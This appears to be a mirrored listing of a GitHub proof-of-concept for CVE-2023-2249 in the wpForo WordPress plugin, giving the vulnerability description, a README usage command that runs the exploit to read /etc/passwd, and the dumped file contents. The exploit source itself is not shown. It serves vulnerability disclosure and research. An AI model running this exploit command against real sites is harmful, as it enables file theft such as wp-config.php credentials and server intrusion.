CVE-2023-2249 PoC — wpForo Forum <= 2.1.7 - Authenticated (Subscriber+) Local File Include, Server-Side Request Forgery, and PHAR Deserializ

Source

https://github.com/ixiacom/CVE-2023-2249

Associated Vulnerability

Title:wpForo Forum <= 2.1.7 - Authenticated (Subscriber+) Local File Include, Server-Side Request Forgery, and PHAR Deserialization via file_get_contents (CVE-2023-2249)
Description:The wpForo Forum plugin for WordPress is vulnerable to Local File Include, Server-Side Request Forgery, and PHAR Deserialization in versions up to, and including, 2.1.7. This is due to the insecure use of file_get_contents without appropriate verification of the data being supplied to the function. This makes it possible for authenticated attackers, with minimal permissions such as a subscriber, to retrieve the contents of files like wp-config.php hosted on the system, perform a deserialization attack and possibly achieve remote code execution, and make requests to internal services.

Description

Exploit for CVE-2023-2249 in wpForo Forum plugin for WordPress

Readme

# Original Proof of Concept for CVE-2023-2249

- Proof of Concept for vulnerability CVE-2023-2249 in wpForo Forum plugin for WordPress
- POC Author : https://github.com/Ayantaker/

## Related Details

- NVD Link : https://nvd.nist.gov/vuln/detail/CVE-2023-2249
- Vulnerable versions : `version <= 2.1.7`
- Patched version : `2.1.8`


## Vulnerability Analysis

- [CVE-2023-2249: Wordpress Wpforo Plugin Root Cause Analysis](https://www.keysight.com/blogs/tech/nwvs/2023/07/05/cve-2023-2249)

## Usage

```bash
pip3 install requests rich bs4
python3 poc.py -i http://10.39.44.149 -p 8080 -u username -q password -f /etc/passwd
```

```
[*] Logging in 
[+] Logged in 
[+] Injecting payload
[+] Injected payload successfully
[+] Printing contents of /etc/passwd


root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

```

> Whatever payload is passed to -f is passed internally to `file_get_contents` method of PHP without sanitization, so this enables LFI, PHAR Deserialization, SSRF etc.

## Disclaimer

This Proof of Concept (POC) has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Author is not responsible or liable for any misuse of the POC. Use responsibly.

File Snapshot


 [4.0K]  /data/pocs/830bcc30f91084ad04d8f3e490c4a227efdde7d1
├── [3.7K]  poc.py
└── [2.1K]  README.md

0 directories, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!